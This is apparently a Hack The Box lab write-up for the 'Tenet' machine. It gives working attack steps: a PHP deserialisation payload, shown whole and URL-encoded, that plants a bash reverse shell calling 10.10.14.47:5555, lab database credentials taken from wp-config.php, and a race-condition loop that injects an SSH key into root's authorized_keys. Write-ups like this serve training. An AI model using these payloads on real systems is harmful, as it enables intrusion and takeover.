Hack The Box — Tenet — Write up

Lovelesh Gangil
5 min readJun 14, 2021

Tenet is a Medium difficulty machine that features an Apache web server. It contains a Wordpress blog with a few posts. One of the comments on the blog mentions the presence of a PHP file along with it’s backup. It is possible after identificaiton of the backup file to review it’s source code. The code in PHP file is vulnerable to an insecure deserialisation vulnerability and by successful exploiting it a foothold on the system is achieved. While enumerating the system it was found that the Wordpress configuration file can be read and thus gaining access to a set of credentials. By using them we can move laterally from user www-data to user Neil. Further system enumeration reveals that this user have root permissions to run a bash script through sudo. The script is writing SSH public keys to the authorized_keys file of the root user and is vulnerable to a race condition. After successful exploitation, attackers can write their own SSH keys to the authorized_keys file and use them to login to the system as root.

Enumeration

Nmap

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s add the machine name in the /etc/hosts file.

10.10.10.223    tenet.htb

Port 80 — Wordpress Blogsite

Looking around the site, we find a comment by a user neil on the post “Migration”. The comment is as follows:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

So, there is some sort of a backup site and a file called sator.php(?). Fuzzing for the file in tenet.htb, we couldn’t find anything.

There might be virtual hosting on the site. So we try adding sator.tenet.htb to our /etc/hosts file. And going over to sator.tenet.htb, we find the apache2 default webpage. Now, going to the URI http://sator.tenet.htb/sator.php, we find the following.

So the php file is there, and it is getting executed. Since, there was a mention of some backup, we try getting the file sator.php.bak. And we see that, it does have a file in the same name. We download it to our local machine.

wget http://sator.tenet.htb/sator.php.bak

And analyze the code.

// sator.php
<?php

class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';

public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}


public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file,
$this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

After analyze the code we see that the script looks for a GET input variable arepo and unserializes it. we might be able to exploit it using PHP Object Deserialization and the class called DatabaseExport with a __destruct function This function is what we can use to get RCE. The function uses file_put_contents to write the variable data to the file defined in the variable user_file.

So with the help of the article we write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php_reverse_shell to our local machine.

Now, to exploit this, we can do the following:

  1. We write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php reverse shell to our local machine.
  2. We serialize our defined class and pass it as input to the GET variable variable.
  3. The input gets passed to deserialize and a new instance of the class is created with our defined variables.
  4. At the __destruct function, our reverse shell gets written to the root of the web directory to the filename defined by us(rce.php in my case). Now if we go to the URI of the file, we can get a reverse shell.

We write the following

class DatabaseExport {
public $user_file = 'rce.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.47/5555 0>&1\'"); ?>';
}

print urlencode(serialize(new DatabaseExport));

We copy the output of the print command and pass it to the GET variable using curl.

curl -i http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.47%2F5555+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D

We open a nc listener on port 5555 and get a reverse shell by browsing the URI http://sator.tenet.htb/rce.php.

nc -lnvp 5555

Privilege Escalation — User

We find ourselves in the html directory. Going over to the wordpressdirectory, we find the config file wp-config.php. Cat-ing out the contents, we find a password for the user neil.

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

Creds found:

neil: Opera2112

We ssh into user neil.

Privilege Escalation — Root

Before running LinEnum Let's check manually.

sudo -l

Let’s check the file content inside /usr/local/bin/enableSSH.sh. Checking the file, the following function is interesting.

addKey() {

tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

(umask 110; touch $tmpName)

/bin/echo $key >>$tmpName

checkFile $tmpName

/bin/cat $tmpName >>/root/.ssh/authorized_keys

/bin/rm $tmpName

}

What this script does is writes a id_rsa.pub key defined in key to a randomly generated file of format /tmp/ssh-XXXXXXXX and then copies the contents of the file to the known_hosts of the root. And then deletes the tmp file.

So, if we can write our own ssh key to the tmp file before it gets copied to known_hosts, our key will get written to known_hosts and we can ssh into root. So we write an infinite while loop in bash that continuously writes our ssh key to any file of format /tmp/ssh-XXXXXXXX using wild character. And while this runs, we run the script as sudo a number of times as we cannot be sure, if the key got written before the file getting removed.

while true;do echo "ssh-rsa AAAA********d/ovP0Ws= root@kali" | tee /tmp/ssh-* > /dev/null;done
sudo /usr/local/bin/enableSSH.sh

After running the script for a number of times, we check if we can ssh into root. And yes, we got in.

And we pwned it …….

Visit My Hack The Box Profile —

https://app.hackthebox.eu/profile/464208

For any queries contact on my twitter and linkedin profiles -

https://twitter.com/loveleshgangil

--

--

Lovelesh Gangil

Offensive Security | Digital Forensics and Incident Response (DFIR) | CAP | GPCSSI '21 | ICSI (CNSS) | CEH (Practical)